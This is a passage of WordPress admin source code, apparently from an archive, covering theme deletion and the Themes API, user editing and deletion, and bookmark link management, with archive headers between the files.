$redirect Redirect to page when complete. * @return mixed */ function delete_theme($stylesheet, $redirect = '') { global $wp_filesystem; if ( empty($stylesheet) ) return false; ob_start(); if ( empty( $redirect ) ) $redirect = wp_nonce_url('themes.php?action=delete&stylesheet=' . urlencode( $stylesheet ), 'delete-theme_' . $stylesheet); if ( false === ($credentials = request_filesystem_credentials($redirect)) ) { $data = ob_get_contents(); ob_end_clean(); if ( ! empty($data) ){ include_once( ABSPATH . 'wp-admin/admin-header.php'); echo $data; include( ABSPATH . 'wp-admin/admin-footer.php'); exit; } return; } if ( ! WP_Filesystem($credentials) ) { request_filesystem_credentials($redirect, '', true); // Failed to connect, Error and request again $data = ob_get_contents(); ob_end_clean(); if ( ! empty($data) ) { include_once( ABSPATH . 'wp-admin/admin-header.php'); echo $data; include( ABSPATH . 'wp-admin/admin-footer.php'); exit; } return; } if ( ! is_object($wp_filesystem) ) return new WP_Error('fs_unavailable', __('Could not access filesystem.')); if ( is_wp_error($wp_filesystem->errors) && $wp_filesystem->errors->get_error_code() ) return new WP_Error('fs_error', __('Filesystem error.'), $wp_filesystem->errors); //Get the base plugin folder $themes_dir = $wp_filesystem->wp_themes_dir(); if ( empty($themes_dir) ) return new WP_Error('fs_no_themes_dir', __('Unable to locate WordPress theme directory.')); $themes_dir = trailingslashit( $themes_dir ); $theme_dir = trailingslashit($themes_dir . $stylesheet); $deleted = $wp_filesystem->delete($theme_dir, true); if ( ! $deleted ) return new WP_Error('could_not_remove_theme', sprintf(__('Could not fully remove the theme %s.'), $stylesheet) ); // Force refresh of theme update information delete_site_transient('update_themes'); return true; } /** * Get the Page Templates available in this theme * * @since 1.5.0 * * @param WP_Post|null $post Optional. The post being edited, provided for context. * @return array Key is the template name, value is the filename of the template */ function get_page_templates( $post = null ) { return array_flip( wp_get_theme()->get_page_templates( $post ) ); } /** * Tidies a filename for url display by the theme editor. * * @since 2.9.0 * @access private * * @param string $fullpath Full path to the theme file * @param string $containingfolder Path of the theme parent folder * @return string */ function _get_template_edit_filename($fullpath, $containingfolder) { return str_replace(dirname(dirname( $containingfolder )) , '', $fullpath); } /** * Check if there is an update for a theme available. * * Will display link, if there is an update available. * * @since 2.7.0 * @see get_theme_update_available() * * @param object $theme Theme data object. */ function theme_update_available( $theme ) { echo get_theme_update_available( $theme ); } /** * Retrieve the update link if there is a theme update available. * * Will return a link if there is an update available. * * @since 3.8.0 * * @param WP_Theme $theme WP_Theme object. * @return string|bool HTML for the update link, or false if invalid info was passed. */ function get_theme_update_available( $theme ) { static $themes_update; if ( !current_user_can('update_themes' ) ) return false; if ( !isset($themes_update) ) $themes_update = get_site_transient('update_themes'); if ( ! is_a( $theme, 'WP_Theme' ) ) return false; $stylesheet = $theme->get_stylesheet(); $html = ''; if ( isset($themes_update->response[ $stylesheet ]) ) { $update = $themes_update->response[ $stylesheet ]; $theme_name = $theme->display('Name'); $details_url = add_query_arg(array('TB_iframe' => 'true', 'width' => 1024, 'height' => 800), $update['url']); //Theme browser inside WP? replace this, Also, theme preview JS will override this on the available list. $update_url = wp_nonce_url( admin_url( 'update.php?action=upgrade-theme&theme=' . urlencode( $stylesheet ) ), 'upgrade-theme_' . $stylesheet ); $update_onclick = 'onclick="if ( confirm(\'' . esc_js( __("Updating this theme will lose any customizations you have made. 'Cancel' to stop, 'OK' to update.") ) . '\') ) {return true;}return false;"'; if ( !is_multisite() ) { if ( ! current_user_can('update_themes') ) { $html = sprintf( '<p><strong>' . __( 'There is a new version of %1$s available. <a href="%2$s" class="thickbox" title="%3$s">View version %4$s details</a>.' ) . '</strong></p>', $theme_name, esc_url( $details_url ), esc_attr( $theme['Name'] ), $update['new_version'] ); } else if ( empty( $update['package'] ) ) { $html = sprintf( '<p><strong>' . __( 'There is a new version of %1$s available. <a href="%2$s" class="thickbox" title="%3$s">View version %4$s details</a>. <em>Automatic update is unavailable for this theme.</em>' ) . '</strong></p>', $theme_name, esc_url( $details_url ), esc_attr( $theme['Name'] ), $update['new_version'] ); } else { $html = sprintf( '<p><strong>' . __( 'There is a new version of %1$s available. <a href="%2$s" class="thickbox" title="%3$s">View version %4$s details</a> or <a href="%5$s">update now</a>.' ) . '</strong></p>', $theme_name, esc_url( $details_url ), esc_attr( $theme['Name'] ), $update['new_version'], $update_url, $update_onclick ); } } } return $html; } /** * Retrieve list of WordPress theme features (aka theme tags) * * @since 3.1.0 * * @param bool $api Optional. Whether try to fetch tags from the WP.org API. Defaults to true. * @return array Array of features keyed by category with translations keyed by slug. */ function get_theme_feature_list( $api = true ) { // Hard-coded list is used if api not accessible. $features = array( __( 'Colors' ) => array( 'black' => __( 'Black' ), 'blue' => __( 'Blue' ), 'brown' => __( 'Brown' ), 'gray' => __( 'Gray' ), 'green' => __( 'Green' ), 'orange' => __( 'Orange' ), 'pink' => __( 'Pink' ), 'purple' => __( 'Purple' ), 'red' => __( 'Red' ), 'silver' => __( 'Silver' ), 'tan' => __( 'Tan' ), 'white' => __( 'White' ), 'yellow' => __( 'Yellow' ), 'dark' => __( 'Dark' ), 'light' => __( 'Light' ), ), __( 'Layout' ) => array( 'fixed-layout' => __( 'Fixed Layout' ), 'fluid-layout' => __( 'Fluid Layout' ), 'responsive-layout' => __( 'Responsive Layout' ), 'one-column' => __( 'One Column' ), 'two-columns' => __( 'Two Columns' ), 'three-columns' => __( 'Three Columns' ), 'four-columns' => __( 'Four Columns' ), 'left-sidebar' => __( 'Left Sidebar' ), 'right-sidebar' => __( 'Right Sidebar' ), ), __( 'Features' ) => array( 'accessibility-ready' => __( 'Accessibility Ready' ), 'blavatar' => __( 'Blavatar' ), 'buddypress' => __( 'BuddyPress' ), 'custom-background' => __( 'Custom Background' ), 'custom-colors' => __( 'Custom Colors' ), 'custom-header' => __( 'Custom Header' ), 'custom-menu' => __( 'Custom Menu' ), 'editor-style' => __( 'Editor Style' ), 'featured-image-header' => __( 'Featured Image Header' ), 'featured-images' => __( 'Featured Images' ), 'flexible-header' => __( 'Flexible Header' ), 'front-page-post-form' => __( 'Front Page Posting' ), 'full-width-template' => __( 'Full Width Template' ), 'microformats' => __( 'Microformats' ), 'post-formats' => __( 'Post Formats' ), 'rtl-language-support' => __( 'RTL Language Support' ), 'sticky-post' => __( 'Sticky Post' ), 'theme-options' => __( 'Theme Options' ), 'threaded-comments' => __( 'Threaded Comments' ), 'translation-ready' => __( 'Translation Ready' ), ), __( 'Subject' ) => array( 'holiday' => __( 'Holiday' ), 'photoblogging' => __( 'Photoblogging' ), 'seasonal' => __( 'Seasonal' ), ) ); if ( ! $api || ! current_user_can( 'install_themes' ) ) return $features; if ( !$feature_list = get_site_transient( 'wporg_theme_feature_list' ) ) set_site_transient( 'wporg_theme_feature_list', array(), 10800); if ( !$feature_list ) { $feature_list = themes_api( 'feature_list', array() ); if ( is_wp_error( $feature_list ) ) return $features; } if ( !$feature_list ) return $features; set_site_transient( 'wporg_theme_feature_list', $feature_list, 10800 ); $category_translations = array( 'Colors' => __( 'Colors' ), 'Layout' => __( 'Layout' ), 'Features' => __( 'Features' ), 'Subject' => __( 'Subject' ) ); // Loop over the wporg canonical list and apply translations $wporg_features = array(); foreach ( (array) $feature_list as $feature_category => $feature_items ) { if ( isset($category_translations[$feature_category]) ) $feature_category = $category_translations[$feature_category]; $wporg_features[$feature_category] = array(); foreach ( $feature_items as $feature ) { if ( isset($features[$feature_category][$feature]) ) $wporg_features[$feature_category][$feature] = $features[$feature_category][$feature]; else $wporg_features[$feature_category][$feature] = $feature; } } return $wporg_features; } /** * Retrieve theme installer pages from WordPress Themes API. * * It is possible for a theme to override the Themes API result with three * filters. Assume this is for themes, which can extend on the Theme Info to * offer more choices. This is very powerful and must be used with care, when * overridding the filters. * * The first filter, 'themes_api_args', is for the args and gives the action as * the second parameter. The hook for 'themes_api_args' must ensure that an * object is returned. * * The second filter, 'themes_api', is the result that would be returned. * * @since 2.8.0 * * @param string $action The requested action. Likely values are 'theme_information', * 'feature_list', or 'query_themes'. * @param array|object $args Optional. Arguments to serialize for the Theme Info API. * @return mixed */ function themes_api( $action, $args = null ) { if ( is_array($args) ) $args = (object)$args; if ( !isset($args->per_page) ) $args->per_page = 24; /** * Filter arguments used to query for installer pages from the WordPress.org Themes API. * * Important: An object MUST be returned to this filter. * * @since 2.8.0 * * @param object $args Arguments used to query for installer pages from the WordPress.org Themes API. * @param string $action Requested action. Likely values are 'theme_information', * 'feature_list', or 'query_themes'. */ $args = apply_filters( 'themes_api_args', $args, $action ); /** * Filter whether to override the WordPress.org Themes API. * * Returning a value of true to this filter allows a theme to completely * override the built-in WordPress.org API. * * @since 2.8.0 * * @param bool $bool Whether to override the WordPress.org Themes API. Default false. * @param string $action Requested action. Likely values are 'theme_information', * 'feature_list', or 'query_themes'. * @param object $args Arguments used to query for installer pages from the Themes API. */ $res = apply_filters( 'themes_api', false, $action, $args ); if ( ! $res ) { $url = $http_url = 'http://api.wordpress.org/themes/info/1.0/'; if ( $ssl = wp_http_supports( array( 'ssl' ) ) ) $url = set_url_scheme( $url, 'https' ); $args = array( 'body' => array( 'action' => $action, 'request' => serialize( $args ) ) ); $request = wp_remote_post( $url, $args ); if ( $ssl && is_wp_error( $request ) ) { if ( ! defined( 'DOING_AJAX' ) || ! DOING_AJAX ) { trigger_error( __( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server’s configuration. If you continue to have problems, please try the <a href="https://wordpress.org/support/">support forums</a>.' ) . ' ' . __( '(WordPress could not establish a secure connection to WordPress.org. Please contact your server administrator.)' ), headers_sent() || WP_DEBUG ? E_USER_WARNING : E_USER_NOTICE ); } $request = wp_remote_post( $http_url, $args ); } if ( is_wp_error($request) ) { $res = new WP_Error('themes_api_failed', __( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server’s configuration. If you continue to have problems, please try the <a href="https://wordpress.org/support/">support forums</a>.' ), $request->get_error_message() ); } else { $res = maybe_unserialize( wp_remote_retrieve_body( $request ) ); if ( ! is_object( $res ) && ! is_array( $res ) ) $res = new WP_Error('themes_api_failed', __( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server’s configuration. If you continue to have problems, please try the <a href="https://wordpress.org/support/">support forums</a>.' ), wp_remote_retrieve_body( $request ) ); } } /** * Filter the returned WordPress.org Themes API response. * * @since 2.8.0 * * @param array|object $res WordPress.org Themes API response. * @param string $action Requested action. Likely values are 'theme_information', * 'feature_list', or 'query_themes'. * @param object $args Arguments used to query for installer pages from the WordPress.org Themes API. */ return apply_filters( 'themes_api_result', $res, $action, $args ); } /** * Prepare themes for JavaScript. * * @since 3.8.0 * * @param array $themes Optional. Array of WP_Theme objects to prepare. * Defaults to all allowed themes. * * @return array An associative array of theme data, sorted by name. */ function wp_prepare_themes_for_js( $themes = null ) { $current_theme = get_stylesheet(); // Make sure the current theme is listed first. $prepared_themes = array( $current_theme => array() ); if ( null === $themes ) { $themes = wp_get_themes( array( 'allowed' => true ) ); if ( ! isset( $themes[ $current_theme ] ) ) { $themes[ $current_theme ] = wp_get_theme(); } } $updates = array(); if ( current_user_can( 'update_themes' ) ) { $updates_transient = get_site_transient( 'update_themes' ); if ( isset( $updates_transient->response ) ) { $updates = $updates_transient->response; } } WP_Theme::sort_by_name( $themes ); foreach ( $themes as $theme ) { $parent = false; if ( $theme->parent() ) { $parent = $theme->parent()->display( 'Name' ); } $slug = $theme->get_stylesheet(); $encoded_slug = urlencode( $slug ); $prepared_themes[ $slug ] = array( 'id' => $slug, 'name' => $theme->display( 'Name' ), 'screenshot' => array( $theme->get_screenshot() ), // @todo multiple 'description' => $theme->display( 'Description' ), 'author' => $theme->display( 'Author', false, true ), 'authorAndUri' => $theme->display( 'Author' ), 'version' => $theme->display( 'Version' ), 'tags' => $theme->display( 'Tags' ), 'parent' => $parent, 'active' => $slug === $current_theme, 'hasUpdate' => isset( $updates[ $slug ] ), 'update' => get_theme_update_available( $theme ), 'actions' => array( 'activate' => current_user_can( 'switch_themes' ) ? wp_nonce_url( admin_url( 'themes.php?action=activate&stylesheet=' . $encoded_slug ), 'switch-theme_' . $slug ) : null, 'customize'=> current_user_can( 'edit_theme_options' ) ? wp_customize_url( $slug ) : null, 'preview' => add_query_arg( array( 'preview' => 1, 'template' => urlencode( $theme->get_template() ), 'stylesheet' => urlencode( $slug ), 'preview_iframe' => true, 'TB_iframe' => true, ), home_url( '/' ) ), 'delete' => current_user_can( 'delete_themes' ) ? wp_nonce_url( admin_url( 'themes.php?action=delete&stylesheet=' . $encoded_slug ), 'delete-theme_' . $slug ) : null, ), ); } /** * Filter the themes prepared for JavaScript, for themes.php. * * Could be useful for changing the order, which is by name by default. * * @since 3.8.0 * * @param array $prepared_themes Array of themes. */ $prepared_themes = apply_filters( 'wp_prepare_themes_for_js', $prepared_themes ); return array_values( $prepared_themes ); } user.php000077700000035274151514577750006276 0ustar00<?php /** * WordPress user administration API. * * @package WordPress * @subpackage Administration */ /** * Creates a new user from the "Users" form using $_POST information. * * @since 2.0.0 * * @return null|WP_Error|int Null when adding user, WP_Error or User ID integer when no parameters. */ function add_user() { return edit_user(); } /** * Edit user settings based on contents of $_POST * * Used on user-edit.php and profile.php to manage and process user options, passwords etc. * * @since 2.0.0 * * @param int $user_id Optional. User ID. * @return int user id of the updated user */ function edit_user( $user_id = 0 ) { global $wp_roles, $wpdb; $user = new stdClass; if ( $user_id ) { $update = true; $user->ID = (int) $user_id; $userdata = get_userdata( $user_id ); $user->user_login = wp_slash( $userdata->user_login ); } else { $update = false; } if ( !$update && isset( $_POST['user_login'] ) ) $user->user_login = sanitize_user($_POST['user_login'], true); $pass1 = $pass2 = ''; if ( isset( $_POST['pass1'] ) ) $pass1 = $_POST['pass1']; if ( isset( $_POST['pass2'] ) ) $pass2 = $_POST['pass2']; if ( isset( $_POST['role'] ) && current_user_can( 'edit_users' ) ) { $new_role = sanitize_text_field( $_POST['role'] ); $potential_role = isset($wp_roles->role_objects[$new_role]) ? $wp_roles->role_objects[$new_role] : false; // Don't let anyone with 'edit_users' (admins) edit their own role to something without it. // Multisite super admins can freely edit their blog roles -- they possess all caps. if ( ( is_multisite() && current_user_can( 'manage_sites' ) ) || $user_id != get_current_user_id() || ($potential_role && $potential_role->has_cap( 'edit_users' ) ) ) $user->role = $new_role; // If the new role isn't editable by the logged-in user die with error $editable_roles = get_editable_roles(); if ( ! empty( $new_role ) && empty( $editable_roles[$new_role] ) ) wp_die(__('You can’t give users that role.')); } if ( isset( $_POST['email'] )) $user->user_email = sanitize_text_field( $_POST['email'] ); if ( isset( $_POST['url'] ) ) { if ( empty ( $_POST['url'] ) || $_POST['url'] == 'http://' ) { $user->user_url = ''; } else { $user->user_url = esc_url_raw( $_POST['url'] ); $protocols = implode( '|', array_map( 'preg_quote', wp_allowed_protocols() ) ); $user->user_url = preg_match('/^(' . $protocols . '):/is', $user->user_url) ? $user->user_url : 'http://'.$user->user_url; } } if ( isset( $_POST['first_name'] ) ) $user->first_name = sanitize_text_field( $_POST['first_name'] ); if ( isset( $_POST['last_name'] ) ) $user->last_name = sanitize_text_field( $_POST['last_name'] ); if ( isset( $_POST['nickname'] ) ) $user->nickname = sanitize_text_field( $_POST['nickname'] ); if ( isset( $_POST['display_name'] ) ) $user->display_name = sanitize_text_field( $_POST['display_name'] ); if ( isset( $_POST['description'] ) ) $user->description = trim( $_POST['description'] ); foreach ( wp_get_user_contact_methods( $user ) as $method => $name ) { if ( isset( $_POST[$method] )) $user->$method = sanitize_text_field( $_POST[$method] ); } if ( $update ) { $user->rich_editing = isset( $_POST['rich_editing'] ) && 'false' == $_POST['rich_editing'] ? 'false' : 'true'; $user->admin_color = isset( $_POST['admin_color'] ) ? sanitize_text_field( $_POST['admin_color'] ) : 'fresh'; $user->show_admin_bar_front = isset( $_POST['admin_bar_front'] ) ? 'true' : 'false'; } $user->comment_shortcuts = isset( $_POST['comment_shortcuts'] ) && 'true' == $_POST['comment_shortcuts'] ? 'true' : ''; $user->use_ssl = 0; if ( !empty($_POST['use_ssl']) ) $user->use_ssl = 1; $errors = new WP_Error(); /* checking that username has been typed */ if ( $user->user_login == '' ) $errors->add( 'user_login', __( '<strong>ERROR</strong>: Please enter a username.' ) ); /* checking the password has been typed twice */ /** * Fires before the password and confirm password fields are checked for congruity. * * @since 1.5.1 * * @param string $user_login The username. * @param string &$pass1 The password, passed by reference. * @param string &$pass2 The confirmed password, passed by reference. */ do_action_ref_array( 'check_passwords', array( $user->user_login, &$pass1, &$pass2 ) ); if ( $update ) { if ( empty($pass1) && !empty($pass2) ) $errors->add( 'pass', __( '<strong>ERROR</strong>: You entered your new password only once.' ), array( 'form-field' => 'pass1' ) ); elseif ( !empty($pass1) && empty($pass2) ) $errors->add( 'pass', __( '<strong>ERROR</strong>: You entered your new password only once.' ), array( 'form-field' => 'pass2' ) ); } else { if ( empty($pass1) ) $errors->add( 'pass', __( '<strong>ERROR</strong>: Please enter your password.' ), array( 'form-field' => 'pass1' ) ); elseif ( empty($pass2) ) $errors->add( 'pass', __( '<strong>ERROR</strong>: Please enter your password twice.' ), array( 'form-field' => 'pass2' ) ); } /* Check for "\" in password */ if ( false !== strpos( wp_unslash( $pass1 ), "\\" ) ) $errors->add( 'pass', __( '<strong>ERROR</strong>: Passwords may not contain the character "\\".' ), array( 'form-field' => 'pass1' ) ); /* checking the password has been typed twice the same */ if ( $pass1 != $pass2 ) $errors->add( 'pass', __( '<strong>ERROR</strong>: Please enter the same password in the two password fields.' ), array( 'form-field' => 'pass1' ) ); if ( !empty( $pass1 ) ) $user->user_pass = $pass1; if ( !$update && isset( $_POST['user_login'] ) && !validate_username( $_POST['user_login'] ) ) $errors->add( 'user_login', __( '<strong>ERROR</strong>: This username is invalid because it uses illegal characters. Please enter a valid username.' )); if ( !$update && username_exists( $user->user_login ) ) $errors->add( 'user_login', __( '<strong>ERROR</strong>: This username is already registered. Please choose another one.' )); /* checking e-mail address */ if ( empty( $user->user_email ) ) { $errors->add( 'empty_email', __( '<strong>ERROR</strong>: Please enter an e-mail address.' ), array( 'form-field' => 'email' ) ); } elseif ( !is_email( $user->user_email ) ) { $errors->add( 'invalid_email', __( '<strong>ERROR</strong>: The email address isn’t correct.' ), array( 'form-field' => 'email' ) ); } elseif ( ( $owner_id = email_exists($user->user_email) ) && ( !$update || ( $owner_id != $user->ID ) ) ) { $errors->add( 'email_exists', __('<strong>ERROR</strong>: This email is already registered, please choose another one.'), array( 'form-field' => 'email' ) ); } /** * Fires before user profile update errors are returned. * * @since 2.8.0 * * @param array &$errors An array of user profile update errors, passed by reference. * @param bool $update Whether this is a user update. * @param WP_User &$user WP_User object, passed by reference. */ do_action_ref_array( 'user_profile_update_errors', array( &$errors, $update, &$user ) ); if ( $errors->get_error_codes() ) return $errors; if ( $update ) { $user_id = wp_update_user( $user ); } else { $user_id = wp_insert_user( $user ); wp_new_user_notification( $user_id, isset( $_POST['send_password'] ) ? wp_unslash( $pass1 ) : '' ); } return $user_id; } /** * Fetch a filtered list of user roles that the current user is * allowed to edit. * * Simple function who's main purpose is to allow filtering of the * list of roles in the $wp_roles object so that plugins can remove * inappropriate ones depending on the situation or user making edits. * Specifically because without filtering anyone with the edit_users * capability can edit others to be administrators, even if they are * only editors or authors. This filter allows admins to delegate * user management. * * @since 2.8.0 * * @return unknown */ function get_editable_roles() { global $wp_roles; $all_roles = $wp_roles->roles; /** * Filter the list of editable roles. * * @since 2.8.0 * * @param array $all_roles List of roles. */ $editable_roles = apply_filters( 'editable_roles', $all_roles ); return $editable_roles; } /** * Retrieve user data and filter it. * * @since 2.0.5 * * @param int $user_id User ID. * @return WP_User|bool WP_User object on success, false on failure. */ function get_user_to_edit( $user_id ) { $user = get_userdata( $user_id ); if ( $user ) $user->filter = 'edit'; return $user; } /** * Retrieve the user's drafts. * * @since 2.0.0 * * @param int $user_id User ID. * @return array */ function get_users_drafts( $user_id ) { global $wpdb; $query = $wpdb->prepare("SELECT ID, post_title FROM $wpdb->posts WHERE post_type = 'post' AND post_status = 'draft' AND post_author = %d ORDER BY post_modified DESC", $user_id); /** * Filter the user's drafts query string. * * @since 2.0.0 * * @param string $query The user's drafts query string. */ $query = apply_filters( 'get_users_drafts', $query ); return $wpdb->get_results( $query ); } /** * Remove user and optionally reassign posts and links to another user. * * If the $reassign parameter is not assigned to an User ID, then all posts will * be deleted of that user. The action 'delete_user' that is passed the User ID * being deleted will be run after the posts are either reassigned or deleted. * The user meta will also be deleted that are for that User ID. * * @since 2.0.0 * * @param int $id User ID. * @param int $reassign Optional. Reassign posts and links to new User ID. * @return bool True when finished. */ function wp_delete_user( $id, $reassign = null ) { global $wpdb; $id = (int) $id; $user = new WP_User( $id ); if ( !$user->exists() ) return false; // Normalize $reassign to null or a user ID. 'novalue' was an older default. if ( 'novalue' === $reassign ) { $reassign = null; } elseif ( null !== $reassign ) { $reassign = (int) $reassign; } /** * Fires immediately before a user is deleted from the database. * * @since 2.0.0 * * @param int $id ID of the user to delete. * @param int|null $reassign ID of the user to reassign posts and links to. * Default null, for no reassignment. */ do_action( 'delete_user', $id, $reassign ); if ( null === $reassign ) { $post_types_to_delete = array(); foreach ( get_post_types( array(), 'objects' ) as $post_type ) { if ( $post_type->delete_with_user ) { $post_types_to_delete[] = $post_type->name; } elseif ( null === $post_type->delete_with_user && post_type_supports( $post_type->name, 'author' ) ) { $post_types_to_delete[] = $post_type->name; } } /** * Filter the list of post types to delete with a user. * * @since 3.4.0 * * @param array $post_types_to_delete Post types to delete. * @param int $id User ID. */ $post_types_to_delete = apply_filters( 'post_types_to_delete_with_user', $post_types_to_delete, $id ); $post_types_to_delete = implode( "', '", $post_types_to_delete ); $post_ids = $wpdb->get_col( $wpdb->prepare( "SELECT ID FROM $wpdb->posts WHERE post_author = %d AND post_type IN ('$post_types_to_delete')", $id ) ); if ( $post_ids ) { foreach ( $post_ids as $post_id ) wp_delete_post( $post_id ); } // Clean links $link_ids = $wpdb->get_col( $wpdb->prepare("SELECT link_id FROM $wpdb->links WHERE link_owner = %d", $id) ); if ( $link_ids ) { foreach ( $link_ids as $link_id ) wp_delete_link($link_id); } } else { $post_ids = $wpdb->get_col( $wpdb->prepare( "SELECT ID FROM $wpdb->posts WHERE post_author = %d", $id ) ); $wpdb->update( $wpdb->posts, array('post_author' => $reassign), array('post_author' => $id) ); if ( ! empty( $post_ids ) ) { foreach ( $post_ids as $post_id ) clean_post_cache( $post_id ); } $link_ids = $wpdb->get_col( $wpdb->prepare("SELECT link_id FROM $wpdb->links WHERE link_owner = %d", $id) ); $wpdb->update( $wpdb->links, array('link_owner' => $reassign), array('link_owner' => $id) ); if ( ! empty( $link_ids ) ) { foreach ( $link_ids as $link_id ) clean_bookmark_cache( $link_id ); } } // FINALLY, delete user if ( is_multisite() ) { remove_user_from_blog( $id, get_current_blog_id() ); } else { $meta = $wpdb->get_col( $wpdb->prepare( "SELECT umeta_id FROM $wpdb->usermeta WHERE user_id = %d", $id ) ); foreach ( $meta as $mid ) delete_metadata_by_mid( 'user', $mid ); $wpdb->delete( $wpdb->users, array( 'ID' => $id ) ); } clean_user_cache( $user ); /** * Fires immediately after a user is deleted from the database. * * @since 2.9.0 * * @param int $id ID of the deleted user. * @param int|null $reassign ID of the user to reassign posts and links to. * Default null, for no reassignment. */ do_action( 'deleted_user', $id, $reassign ); return true; } /** * Remove all capabilities from user. * * @since 2.1.0 * * @param int $id User ID. */ function wp_revoke_user($id) { $id = (int) $id; $user = new WP_User($id); $user->remove_all_caps(); } add_action('admin_init', 'default_password_nag_handler'); /** * @since 2.8.0 */ function default_password_nag_handler($errors = false) { global $user_ID; if ( ! get_user_option('default_password_nag') ) //Short circuit it. return; //get_user_setting = JS saved UI setting. else no-js-fallback code. if ( 'hide' == get_user_setting('default_password_nag') || isset($_GET['default_password_nag']) && '0' == $_GET['default_password_nag'] ) { delete_user_setting('default_password_nag'); update_user_option($user_ID, 'default_password_nag', false, true); } } add_action('profile_update', 'default_password_nag_edit_user', 10, 2); /** * @since 2.8.0 */ function default_password_nag_edit_user($user_ID, $old_data) { if ( ! get_user_option('default_password_nag', $user_ID) ) //Short circuit it. return; $new_data = get_userdata($user_ID); if ( $new_data->user_pass != $old_data->user_pass ) { //Remove the nag if the password has been changed. delete_user_setting('default_password_nag'); update_user_option($user_ID, 'default_password_nag', false, true); } } add_action('admin_notices', 'default_password_nag'); /** * @since 2.8.0 */ function default_password_nag() { global $pagenow; if ( 'profile.php' == $pagenow || ! get_user_option('default_password_nag') ) //Short circuit it. return; echo '<div class="error default-password-nag">'; echo '<p>'; echo '<strong>' . __('Notice:') . '</strong> '; _e('You’re using the auto-generated password for your account. Would you like to change it to something easier to remember?'); echo '</p><p>'; printf( '<a href="%s">' . __('Yes, take me to my profile page') . '</a> | ', get_edit_profile_url() . '#password' ); printf( '<a href="%s" id="default-password-nag-no">' . __('No thanks, do not remind me again') . '</a>', '?default_password_nag=0' ); echo '</p></div>'; } bookmark.php000077700000020173151514577750007115 0ustar00<?php /** * WordPress Bookmark Administration API * * @package WordPress * @subpackage Administration */ /** * Add a link to using values provided in $_POST. * * @since 2.0.0 * * @return int|WP_Error Value 0 or WP_Error on failure. The link ID on success. */ function add_link() { return edit_link(); } /** * Update or insert a link using values provided in $_POST. * * @since 2.0.0 * * @param int $link_id Optional. ID of the link to edit. * @return int|WP_Error Value 0 or WP_Error on failure. The link ID on success. */ function edit_link( $link_id = 0 ) { if ( !current_user_can( 'manage_links' ) ) wp_die( __( 'Cheatin’ uh?' ) ); $_POST['link_url'] = esc_html( $_POST['link_url'] ); $_POST['link_url'] = esc_url($_POST['link_url']); $_POST['link_name'] = esc_html( $_POST['link_name'] ); $_POST['link_image'] = esc_html( $_POST['link_image'] ); $_POST['link_rss'] = esc_url($_POST['link_rss']); if ( !isset($_POST['link_visible']) || 'N' != $_POST['link_visible'] ) $_POST['link_visible'] = 'Y'; if ( !empty( $link_id ) ) { $_POST['link_id'] = $link_id; return wp_update_link( $_POST ); } else { return wp_insert_link( $_POST ); } } /** * Retrieve the default link for editing. * * @since 2.0.0 * * @return object Default link */ function get_default_link_to_edit() { $link = new stdClass; if ( isset( $_GET['linkurl'] ) ) $link->link_url = esc_url( wp_unslash( $_GET['linkurl'] ) ); else $link->link_url = ''; if ( isset( $_GET['name'] ) ) $link->link_name = esc_attr( wp_unslash( $_GET['name'] ) ); else $link->link_name = ''; $link->link_visible = 'Y'; return $link; } /** * Delete link specified from database. * * @since 2.0.0 * * @param int $link_id ID of the link to delete * @return bool True */ function wp_delete_link( $link_id ) { global $wpdb; /** * Fires before a link is deleted. * * @since 2.0.0 * * @param int $link_id ID of the link to delete. */ do_action( 'delete_link', $link_id ); wp_delete_object_term_relationships( $link_id, 'link_category' ); $wpdb->delete( $wpdb->links, array( 'link_id' => $link_id ) ); /** * Fires after a link has been deleted. * * @since 2.2.0 * * @param int $link_id ID of the deleted link. */ do_action( 'deleted_link', $link_id ); clean_bookmark_cache( $link_id ); return true; } /** * Retrieves the link categories associated with the link specified. * * @since 2.1.0 * * @param int $link_id Link ID to look up * @return array The requested link's categories */ function wp_get_link_cats( $link_id = 0 ) { $cats = wp_get_object_terms( $link_id, 'link_category', array('fields' => 'ids') ); return array_unique( $cats ); } /** * Retrieve link data based on ID. * * @since 2.0.0 * * @param int $link_id ID of link to retrieve * @return object Link for editing */ function get_link_to_edit( $link_id ) { return get_bookmark( $link_id, OBJECT, 'edit' ); } /** * This function inserts/updates links into/in the database. * * @since 2.0.0 * * @param array $linkdata Elements that make up the link to insert. * @param bool $wp_error Optional. If true return WP_Error object on failure. * @return int|WP_Error Value 0 or WP_Error on failure. The link ID on success. */ function wp_insert_link( $linkdata, $wp_error = false ) { global $wpdb; $defaults = array( 'link_id' => 0, 'link_name' => '', 'link_url' => '', 'link_rating' => 0 ); $linkdata = wp_parse_args( $linkdata, $defaults ); $linkdata = sanitize_bookmark( $linkdata, 'db' ); extract( wp_unslash( $linkdata ), EXTR_SKIP ); $update = false; if ( !empty( $link_id ) ) $update = true; if ( trim( $link_name ) == '' ) { if ( trim( $link_url ) != '' ) { $link_name = $link_url; } else { return 0; } } if ( trim( $link_url ) == '' ) return 0; if ( empty( $link_rating ) ) $link_rating = 0; if ( empty( $link_image ) ) $link_image = ''; if ( empty( $link_target ) ) $link_target = ''; if ( empty( $link_visible ) ) $link_visible = 'Y'; if ( empty( $link_owner ) ) $link_owner = get_current_user_id(); if ( empty( $link_notes ) ) $link_notes = ''; if ( empty( $link_description ) ) $link_description = ''; if ( empty( $link_rss ) ) $link_rss = ''; if ( empty( $link_rel ) ) $link_rel = ''; // Make sure we set a valid category if ( ! isset( $link_category ) || 0 == count( $link_category ) || !is_array( $link_category ) ) { $link_category = array( get_option( 'default_link_category' ) ); } if ( $update ) { if ( false === $wpdb->update( $wpdb->links, compact('link_url', 'link_name', 'link_image', 'link_target', 'link_description', 'link_visible', 'link_rating', 'link_rel', 'link_notes', 'link_rss'), compact('link_id') ) ) { if ( $wp_error ) return new WP_Error( 'db_update_error', __( 'Could not update link in the database' ), $wpdb->last_error ); else return 0; } } else { if ( false === $wpdb->insert( $wpdb->links, compact('link_url', 'link_name', 'link_image', 'link_target', 'link_description', 'link_visible', 'link_owner', 'link_rating', 'link_rel', 'link_notes', 'link_rss') ) ) { if ( $wp_error ) return new WP_Error( 'db_insert_error', __( 'Could not insert link into the database' ), $wpdb->last_error ); else return 0; } $link_id = (int) $wpdb->insert_id; } wp_set_link_cats( $link_id, $link_category ); if ( $update ) { /** * Fires after a link was updated in the database. * * @since 2.0.0 * * @param int $link_id ID of the link that was updated. */ do_action( 'edit_link', $link_id ); } else { /** * Fires after a link was added to the database. * * @since 2.0.0 * * @param int $link_id ID of the link that was added. */ do_action( 'add_link', $link_id ); } 